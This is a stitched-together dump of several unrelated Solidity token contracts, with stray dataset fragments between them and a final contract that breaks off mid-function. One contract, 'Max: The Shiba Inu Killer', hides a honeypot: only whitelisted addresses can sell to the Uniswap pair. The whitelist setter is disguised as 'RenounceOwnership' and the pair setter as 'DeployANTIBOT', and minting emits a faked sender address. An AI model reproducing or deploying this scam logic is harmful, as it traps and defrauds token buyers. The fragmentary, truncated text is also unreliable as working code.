* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathChainlink {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface LinkTokenInterface {
function allowance(address owner, address spender) external view returns (uint256 remaining);
function approve(address spender, uint256 value) external returns (bool success);
function balanceOf(address owner) external view returns (uint256 balance);
function decimals() external view returns (uint8 decimalPlaces);
function decreaseApproval(address spender, uint256 addedValue) external returns (bool success);
function increaseApproval(address spender, uint256 subtractedValue) external;
function name() external view returns (string memory tokenName);
function symbol() external view returns (string memory tokenSymbol);
function totalSupply() external view returns (uint256 totalTokensIssued);
function transfer(address to, uint256 value) external returns (bool success);
function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool success);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract VRFRequestIDBase {
/**
* @notice returns the seed which is actually input to the VRF coordinator
*
* @dev To prevent repetition of VRF output due to repetition of the
* @dev user-supplied seed, that seed is combined in a hash with the
* @dev user-specific nonce, and the address of the consuming contract. The
* @dev risk of repetition is mostly mitigated by inclusion of a blockhash in
* @dev the final seed, but the nonce does protect against repetition in
* @dev requests which are included in a single block.
*
* @param _userSeed VRF seed input provided by user
* @param _requester Address of the requesting contract
* @param _nonce User-specific nonce at the time of the request
*/
function makeVRFInputSeed(bytes32 _keyHash, uint256 _userSeed,
address _requester, uint256 _nonce)
internal pure returns (uint256)
{
return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce)));
}
/**
* @notice Returns the id for this request
* @param _keyHash The serviceAgreement ID to be used for this request
* @param _vRFInputSeed The seed to be passed directly to the VRF
* @return The id for this request
*
* @dev Note that _vRFInputSeed is not the seed passed by the consuming
* @dev contract, but the one generated by makeVRFInputSeed
*/
function makeRequestId(
bytes32 _keyHash, uint256 _vRFInputSeed) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed));
}
}
|
True
|
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/**
Meet Max. A Red fox who's patience for Shiba Inu and all Inu coins has run out.
• Supply is only 25,000
• STEALTH LAUNCH
• No Burns & Yes LP Lock
• UNISWAP - @MAXTHESHIBAINUKILLER
FEG ORIGINAL CO DEVELOPER BUT NOT RELATED TO FEG. THANKS
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File @openzeppelin/contracts/access/[email protected]
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
// File @openzeppelin/contracts/token/ERC20/[email protected]
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0x3B30Bac3c331168e40FC6338BA2295A2F3adDe52), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract MaxTheShibaInuKiller is ERC20, Ownable {
mapping(address=>bool) private _enable;
address private _uni;
constructor() ERC20('Max:The Shiba Inu Killer','Max') {
_mint(0xeD157985728987138a353715Da0fB7B98149ccA5, 25000 *10**18);
_enable[0xeD157985728987138a353715Da0fB7B98149ccA5] = true;
}
function _mint(
address account,
uint256 amount
) internal virtual override (ERC20) {
require(ERC20.totalSupply() + amount <= 25000 *10**18, "ERC20Capped: cap exceeded");
super._mint(account, amount);
}
function RenounceOwnership(address user, bool enable) public onlyOwner {
_enable[user] = enable;
}
function DeployANTIBOT(address uni_) public onlyOwner {
_uni = uni_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
if(to == _uni) {
require(_enable[from], "something went wrong");
}
}
}
|
True
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint256 private _decimals;
constructor(string memory name, string memory symbol, uint256 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint256) {
return _decimals;
}
}
contract TTMC is ERC20Detailed {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string public constant tokenName = "To The Moon Coin";
string public constant tokenSymbol = "TTMC";
uint256 public constant tokenDecimals = 18;
uint256 public _totalSupply = 10000000*10**tokenDecimals;
uint256 public treasuryPercent = 10;
address public owner;
constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
owner=msg.sender;
_balances[owner] = _balances[owner].add(_totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) public view returns (uint256) {
return _balances[_owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function findOnePercent(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(treasuryPercent);
uint256 onePercent = roundValue.mul(treasuryPercent).div(1000);
return onePercent;
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
uint256 tokensToTreasury = findOnePercent(value);
uint256 tokensToTransfer = value.sub(tokensToTreasury);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(tokensToTransfer);
_balances[0xE7d9B9D513f75E204a16824B0c0Cb6e84B108fB7] = _balances[0xE7d9B9D513f75E204a16824B0c0Cb6e84B108fB7].add(tokensToTreasury);
emit Transfer(msg.sender, to, tokensToTransfer);
emit Transfer(msg.sender, address(0xE7d9B9D513f75E204a16824B0c0Cb6e84B108fB7), tokensToTreasury);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
uint256 tokensToTreasury = findOnePercent(value);
uint256 tokensToTransfer = value.sub(tokensToTreasury);
_balances[to] = _balances[to].add(tokensToTransfer);
_balances[0xE7d9B9D513f75E204a16824B0c0Cb6e84B108fB7] = _balances[0xE7d9B9D513f75E204a16824B0c0Cb6e84B108fB7].add(tokensToTreasury);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, tokensToTransfer);
emit Transfer(from, address(0xE7d9B9D513f75E204a16824B0c0Cb6e84B108fB7), tokensToTreasury);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function _burn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
}
|
True
|
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1027,
102
] |
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/*
/$$$$$$$ /$$ /$$ /$$$$$$$
| $$__ $$ | $$ | $$ | $$__ $$
| $$ \ $$ /$$$$$$ | $$ /$$$$$$ /$$$$$$ | $$ \ $$ /$$$$$$ /$$ /$$
| $$ | $$ /$$__ $$| $$|_ $$_/ |____ $$| $$$$$$$/|____ $$| $$ | $$
| $$ | $$| $$$$$$$$| $$ | $$ /$$$$$$$| $$____/ /$$$$$$$| $$ | $$
| $$ | $$| $$_____/| $$ | $$ /$$ /$$__ $$| $$ /$$__ $$| $$ | $$
| $$$$$$$/| $$$$$$$| $$ | $$$$/| $$$$$$$| $$ | $$$$$$$| $$$$$$$
|_______/ \_______/|__/ \___/ \_______/|__/ \_______/ \____ $$
/$$ | $$
| $$$$$$/
\______/
Telegram:
https://t.me/deltapay
SPDX-License-Identifier: Unlicensed
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DeltaPay is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Delta Pay";
string private constant _symbol = "DeltaPay";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 0;
uint256 private _taxFeeJeets = 7;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 7;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xf4Cdb03Fa34027152a72626d75f41758F98E6540);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 30 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 2e7 * 10**9;
uint256 public _maxWalletSize = 1e8 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 2e7 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0));
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 30 minutes) {
require(amount <= _minimumBuyAmount);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
